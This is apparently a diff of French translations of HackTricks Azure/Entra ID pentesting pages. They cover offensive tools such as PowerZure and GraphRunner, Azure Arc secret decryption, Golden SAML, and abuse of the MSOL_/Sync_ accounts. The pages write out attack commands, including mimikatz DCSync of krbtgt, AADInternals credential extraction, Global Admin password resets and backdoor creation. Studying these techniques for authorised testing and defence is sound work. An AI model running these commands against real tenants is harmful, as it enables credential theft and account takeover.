MicroBurst inclut des fonctions et des scripts qui supportent la découverte des services Azure, l'audit de configuration faible, et des actions post-exploitation telles que le dumping de crédentiels. Il est destiné à être utilisé lors des tests de pénétration où Azure est utilisé.
|
||||||
|
```bash
|
||||||
|
Import-Module .\MicroBurst.psm1
|
||||||
|
Import-Module .\Get-AzureDomainInfo.ps1
|
||||||
|
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||||
|
```
|
||||||
|
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||||
|
|
||||||
|
PowerZure a été créé par nécessité d'un cadre capable d'effectuer à la fois la reconnaissance et l'exploitation d'Azure, d'EntraID et des ressources associées.
|
||||||
|
|
||||||
|
Il utilise le module **Az PowerShell**, donc toute authentification prise en charge par cet outil est également prise en charge par l'outil.
|
||||||
|
```bash
|
||||||
|
# Login
|
||||||
|
Import-Module Az
|
||||||
|
Connect-AzAccount
|
||||||
|
|
||||||
|
# Clone and import PowerZure
|
||||||
|
git clone https://github.com/hausec/PowerZure
|
||||||
|
cd PowerZure
|
||||||
|
ipmo ./Powerzure.psd1
|
||||||
|
Invoke-Powerzure -h # Check all the options
|
||||||
|
|
||||||
|
# Info Gathering (read)
|
||||||
|
Get-AzureCurrentUser # Get current user
|
||||||
|
Get-AzureTarget # What can you access to
|
||||||
|
Get-AzureUser -All # Get all users
|
||||||
|
Get-AzureSQLDB -All # Get all SQL DBs
|
||||||
|
Get-AzureAppOwner # Owners of apps in Entra
|
||||||
|
Show-AzureStorageContent -All # List containers, shared and tables
|
||||||
|
Show-AzureKeyVaultContent -All # List all contents in key vaults
|
||||||
|
|
||||||
|
|
||||||
|
# Operational (write)
|
||||||
|
Set-AzureUserPassword -Password <password> -Username <username> # Change password
|
||||||
|
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
|
||||||
|
New-AzureBackdoor -Username <username> -Password <password>
|
||||||
|
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||||
|
|
||||||
|
GraphRunner est un ensemble d'outils de post-exploitation pour interagir avec l'API Microsoft Graph. Il fournit divers outils pour effectuer des reconnaissances, de la persistance et piller des données d'un compte Microsoft Entra ID (Azure AD).
|
||||||
|
```bash
|
||||||
|
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||||
|
Import-Module .\GraphRunner.ps1
|
||||||
|
Get-GraphTokens
|
||||||
|
|
||||||
|
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||||
|
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||||
|
|
||||||
|
#A module to dump conditional access policies from a tenant.
|
||||||
|
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||||
|
|
||||||
|
#A module to dump conditional access policies from a tenant.
|
||||||
|
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||||
|
|
||||||
|
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||||
|
Invoke-DumpApps -Tokens $tokens
|
||||||
|
|
||||||
|
#Gather the full list of users from the directory.
|
||||||
|
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||||
|
|
||||||
|
#Create a list of security groups along with their members.
|
||||||
|
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||||
|
|
||||||
|
#Gets groups that may be able to be modified by the current user
|
||||||
|
Get-UpdatableGroups -Tokens $tokens
|
||||||
|
|
||||||
|
#Finds dynamic groups and displays membership rules
|
||||||
|
Get-DynamicGroups -Tokens $tokens
|
||||||
|
|
||||||
|
#Gets a list of SharePoint site URLs visible to the current user
|
||||||
|
Get-SharePointSiteURLs -Tokens $tokens
|
||||||
|
|
||||||
|
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||||
|
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||||
|
|
||||||
|
#This module attempts to gather a tenant ID associated with a domain.
|
||||||
|
Get-TenantID -Domain
|
||||||
|
|
||||||
|
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||||
|
Invoke-GraphRunner -Tokens $tokens
|
||||||
|
```
|
||||||
|
### [Stormspotter](https://github.com/Azure/Stormspotter)
|
||||||
|
|
||||||
|
Stormspotter crée un “graphique d'attaque” des ressources dans une souscription Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivotement au sein d'un locataire, et renforce vos défenseurs pour qu'ils puissent rapidement s'orienter et prioriser le travail de réponse aux incidents.
|
||||||
|
|
||||||
|
**Malheureusement, il semble non maintenu**.
|
||||||
|
```bash
|
||||||
|
# Start Backend
|
||||||
|
cd stormspotter\backend\
|
||||||
|
pipenv shell
|
||||||
|
python ssbackend.pyz
|
||||||
|
|
||||||
|
# Start Front-end
|
||||||
|
cd stormspotter\frontend\dist\spa\
|
||||||
|
quasar.cmd serve -p 9091 --history
|
||||||
|
|
||||||
|
# Run Stormcollector
|
||||||
|
cd stormspotter\stormcollector\
|
||||||
|
pipenv shell
|
||||||
|
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||||
|
python stormspotter\stormcollector\sscollector.pyz cli
|
||||||
|
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||||
|
```
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -13,8 +13,8 @@ Lors de son exécution, le script DeployGPO.ps1 effectue les actions suivantes :
|
|||||||
|
|
||||||
Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
|
Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
|
||||||
|
|
||||||
Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les contrôleurs de domaine et les groupes de sécurité des ordinateurs de domaine, comme noté dans les commentaires du script.
|
Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme noté dans les commentaires du script.
|
||||||
```powershell
|
```bash
|
||||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||||
$DomainControllersSID = "SID=" + $DomainControllersSID
|
$DomainControllersSID = "SID=" + $DomainControllersSID
|
||||||
@@ -27,24 +27,24 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
|||||||
Nous avons les conditions suivantes :
|
Nous avons les conditions suivantes :
|
||||||
|
|
||||||
1. Nous avons réussi à pénétrer le réseau interne.
|
1. Nous avons réussi à pénétrer le réseau interne.
|
||||||
2. Nous avons la capacité de créer ou d'assumer le contrôle d'un compte d'ordinateur au sein d'Active Directory.
|
2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
|
||||||
3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
|
3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
|
||||||
|
|
||||||
Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
|
Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
|
||||||
```powershell
|
```bash
|
||||||
Import-MKodule powermad
|
Import-MKodule powermad
|
||||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||||
```
|
```
|
||||||
Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.
|
Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.
|
||||||
```powershell
|
```bash
|
||||||
runas /user:fake01$ /netonly powershell
|
runas /user:fake01$ /netonly powershell
|
||||||
```
|
```
|
||||||
|
|
||||||
```powershell
|
```bash
|
||||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||||
```
|
```
|
||||||
En ayant le TGT pour notre compte d'ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour déchiffrer le secret du principal de service.
|
En ayant le TGT pour notre compte d'ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour déchiffrer le secret du principal de service.
|
||||||
```powershell
|
```bash
|
||||||
Import-Module .\AzureArcDeployment.psm1
|
Import-Module .\AzureArcDeployment.psm1
|
||||||
|
|
||||||
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
|
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de Base
|
## Informations de Base
|
||||||
|
|
||||||
L'intégration entre **Active Directory (AD) sur site** et **Azure AD** est facilitée par **Azure AD Connect**, offrant diverses méthodes qui prennent en charge **Single Sign-on (SSO)**. Chaque méthode, bien qu'utile, présente des vulnérabilités de sécurité potentielles qui pourraient être exploitées pour compromettre les environnements cloud ou sur site :
|
L'intégration entre **Active Directory (AD) sur site** et **Azure AD** est facilitée par **Azure AD Connect**, offrant diverses méthodes qui supportent **Single Sign-on (SSO)**. Chaque méthode, bien que utile, présente des vulnérabilités de sécurité potentielles qui pourraient être exploitées pour compromettre les environnements cloud ou sur site :
|
||||||
|
|
||||||
- **Pass-Through Authentication (PTA)** :
|
- **Pass-Through Authentication (PTA)** :
|
||||||
- Compromission possible de l'agent sur l'AD sur site, permettant la validation des mots de passe des utilisateurs pour les connexions Azure (sur site vers Cloud).
|
- Compromission possible de l'agent sur l'AD sur site, permettant la validation des mots de passe des utilisateurs pour les connexions Azure (sur site vers Cloud).
|
||||||
@@ -15,13 +15,13 @@ pta-pass-through-authentication.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Password Hash Sync (PHS)** :
|
- **Password Hash Sync (PHS)** :
|
||||||
- Extraction potentielle de mots de passe en clair des utilisateurs privilégiés depuis l'AD, y compris les identifiants d'un utilisateur AzureAD à privilèges élevés, généré automatiquement.
|
- Extraction potentielle de mots de passe en clair d'utilisateurs privilégiés depuis l'AD, y compris les identifiants d'un utilisateur AzureAD à privilèges élevés, généré automatiquement.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
phs-password-hash-sync.md
|
phs-password-hash-sync.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Federation** :
|
- **Fédération** :
|
||||||
- Vol de la clé privée utilisée pour la signature SAML, permettant l'usurpation d'identités sur site et cloud.
|
- Vol de la clé privée utilisée pour la signature SAML, permettant l'usurpation d'identités sur site et cloud.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@@ -42,17 +42,17 @@ seamless-sso.md
|
|||||||
az-cloud-kerberos-trust.md
|
az-cloud-kerberos-trust.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Default Applications** :
|
- **Applications par Défaut** :
|
||||||
- Compromettre un compte d'administrateur d'application ou le compte de synchronisation sur site permet de modifier les paramètres du répertoire, les appartenances aux groupes, les comptes d'utilisateurs, les sites SharePoint et les fichiers OneDrive.
|
- La compromission d'un compte d'administrateur d'application ou du compte de synchronisation sur site permet de modifier les paramètres du répertoire, les appartenances aux groupes, les comptes d'utilisateurs, les sites SharePoint et les fichiers OneDrive.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
az-default-applications.md
|
az-default-applications.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Pour chaque méthode d'intégration, la synchronisation des utilisateurs est effectuée, et un compte `MSOL_<installationidentifier>` est créé dans l'AD sur site. Notamment, les méthodes **PHS** et **PTA** facilitent le **Seamless SSO**, permettant une connexion automatique pour les ordinateurs Azure AD joints au domaine sur site.
|
Pour chaque méthode d'intégration, la synchronisation des utilisateurs est effectuée, et un compte `MSOL_<identifiant d'installation>` est créé dans l'AD sur site. Notamment, les méthodes **PHS** et **PTA** facilitent le **Seamless SSO**, permettant une connexion automatique pour les ordinateurs Azure AD joints au domaine sur site.
|
||||||
|
|
||||||
Pour vérifier l'installation de **Azure AD Connect**, la commande PowerShell suivante, utilisant le module **AzureADConnectHealthSync** (installé par défaut avec Azure AD Connect), peut être utilisée :
|
Pour vérifier l'installation de **Azure AD Connect**, la commande PowerShell suivante, utilisant le module **AzureADConnectHealthSync** (installé par défaut avec Azure AD Connect), peut être utilisée :
|
||||||
```powershell
|
```bash
|
||||||
Get-ADSyncConnector
|
Get-ADSyncConnector
|
||||||
```
|
```
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -2,17 +2,17 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Synchronisation des utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
|
## Synchroniser les utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
|
||||||
|
|
||||||
Pour synchroniser un nouvel utilisateur **d'AzureAD vers l'AD on-prem**, voici les exigences :
|
Pour synchroniser un nouvel utilisateur **d'AzureAD vers l'AD on-prem**, voici les exigences :
|
||||||
|
|
||||||
- L'**utilisateur AzureAD** doit avoir une adresse proxy (une **boîte aux lettres**)
|
- L'**utilisateur AzureAD** doit avoir une adresse proxy (une **boîte aux lettres**)
|
||||||
- La licence n'est pas requise
|
- La licence n'est pas requise
|
||||||
- Ne doit **pas déjà être synchronisé**
|
- Ne doit **pas déjà être synchronisé**
|
||||||
```powershell
|
```bash
|
||||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||||
```
|
```
|
||||||
Lorsqu'un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, vous devez simplement **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
|
Lorsqu'un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, il suffit de **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
|
||||||
|
|
||||||
Automatiquement, cet utilisateur sera **synchronisé d'AzureAD vers l'utilisateur AD sur site**.
|
Automatiquement, cet utilisateur sera **synchronisé d'AzureAD vers l'utilisateur AD sur site**.
|
||||||
|
|
||||||
|
|||||||
@@ -84,7 +84,7 @@ Les exigences pour exécuter une attaque Golden SAML incluent :
|
|||||||
_Seuls les éléments en gras sont obligatoires. Les autres peuvent être remplis selon les besoins._
|
_Seuls les éléments en gras sont obligatoires. Les autres peuvent être remplis selon les besoins._
|
||||||
|
|
||||||
Pour acquérir la **clé privée**, l'accès au **compte utilisateur AD FS** est nécessaire. À partir de là, la clé privée peut être **exportée du magasin personnel** à l'aide d'outils comme [mimikatz](https://github.com/gentilkiwi/mimikatz). Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous êtes connecté en tant qu'utilisateur ADFS :
|
Pour acquérir la **clé privée**, l'accès au **compte utilisateur AD FS** est nécessaire. À partir de là, la clé privée peut être **exportée du magasin personnel** à l'aide d'outils comme [mimikatz](https://github.com/gentilkiwi/mimikatz). Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous êtes connecté en tant qu'utilisateur ADFS :
|
||||||
```powershell
|
```bash
|
||||||
# From an "AD FS" session
|
# From an "AD FS" session
|
||||||
# After having exported the key with mimikatz
|
# After having exported the key with mimikatz
|
||||||
|
|
||||||
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
|||||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Sur site -> cloud
|
### Sur site -> cloud
|
||||||
```powershell
|
```bash
|
||||||
# With a domain user you can get the ImmutableID of the target user
|
# With a domain user you can get the ImmutableID of the target user
|
||||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||||
|
|
||||||
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
|
|||||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||||
```
|
```
|
||||||
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
|
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
|
||||||
```powershell
|
```bash
|
||||||
# Create a realistic ImmutableID and set it for a cloud only user
|
# Create a realistic ImmutableID and set it for a cloud only user
|
||||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||||
|
|||||||
@@ -1,19 +1,19 @@
|
|||||||
# Az - PHS - Synchronisation des Hachages de Mot de Passe
|
# Az - PHS - Synchronisation des Hashs de Mot de Passe
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Informations de Base
|
## Informations de Base
|
||||||
|
|
||||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hachages de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hachage, du hachage, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
|
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hash de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hash, du hash, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.
|
C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.
|
||||||
|
|
||||||
Tous les **utilisateurs** et un **hachage des hachages de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.\
|
Tous les **utilisateurs** et un **hash des hash de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hashes** **originaux** ne sont pas envoyés à Azure AD.\
|
||||||
De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.
|
De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.
|
||||||
|
|
||||||
La **synchronisation des hachages** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
|
La **synchronisation des hash** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
|
||||||
|
|
||||||
Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.
|
Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.
|
||||||
|
|
||||||
@@ -33,22 +33,22 @@ Il est possible d'extraire la configuration d'une des tables, étant l'une d'ell
|
|||||||
|
|
||||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||||
|
|
||||||
La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'obtenir des privilèges élevés dans l'AD et dans AzureAD.
|
La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'élever les privilèges vers l'AD et vers AzureAD.
|
||||||
|
|
||||||
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||||
|
|
||||||
### Trouver le **serveur Azure AD connect**
|
### Trouver le **serveur Azure AD connect**
|
||||||
|
|
||||||
Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
|
Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
|
||||||
```powershell
|
```bash
|
||||||
# ActiveDirectory module
|
# ActiveDirectory module
|
||||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||||
|
|
||||||
#Azure AD module
|
#Azure AD module
|
||||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||||
```
|
```
|
||||||
### Abus de MSOL\_*
|
### Abusing MSOL\_*
|
||||||
```powershell
|
```bash
|
||||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||||
Get-AADIntSyncCredentials
|
Get-AADIntSyncCredentials
|
||||||
|
|
||||||
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
|||||||
|
|
||||||
### Abus de Sync\_\*
|
### Abus de Sync\_\*
|
||||||
|
|
||||||
En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de tout utilisateur (y compris les Administrateurs Globaux)
|
En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
|
||||||
```powershell
|
```bash
|
||||||
# This command, run previously, will give us alse the creds of this account
|
# This command, run previously, will give us alse the creds of this account
|
||||||
Get-AADIntSyncCredentials
|
Get-AADIntSyncCredentials
|
||||||
|
|
||||||
@@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
|||||||
|
|
||||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||||
```
|
```
|
||||||
Il est également possible de **modifier les mots de passe uniquement des utilisateurs cloud** (même si cela est inattendu)
|
Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
|
||||||
```powershell
|
```bash
|
||||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||||
# The CloudAnchor is of the format USER_ObjectID.
|
# The CloudAnchor is of the format USER_ObjectID.
|
||||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||||
@@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
|||||||
Il est également possible d'extraire le mot de passe de cet utilisateur.
|
Il est également possible d'extraire le mot de passe de cet utilisateur.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, ce que l'utilisateur **Sync** a **la permission** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, que l'utilisateur **Sync** a **les autorisations** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
||||||
|
|
||||||
### Seamless SSO
|
### Seamless SSO
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
[Depuis la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification Pass-through d'Azure Active Directory (Azure AD) permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Azure AD, cette fonctionnalité **valide les mots de passe des utilisateurs directement contre votre Active Directory sur site**.
|
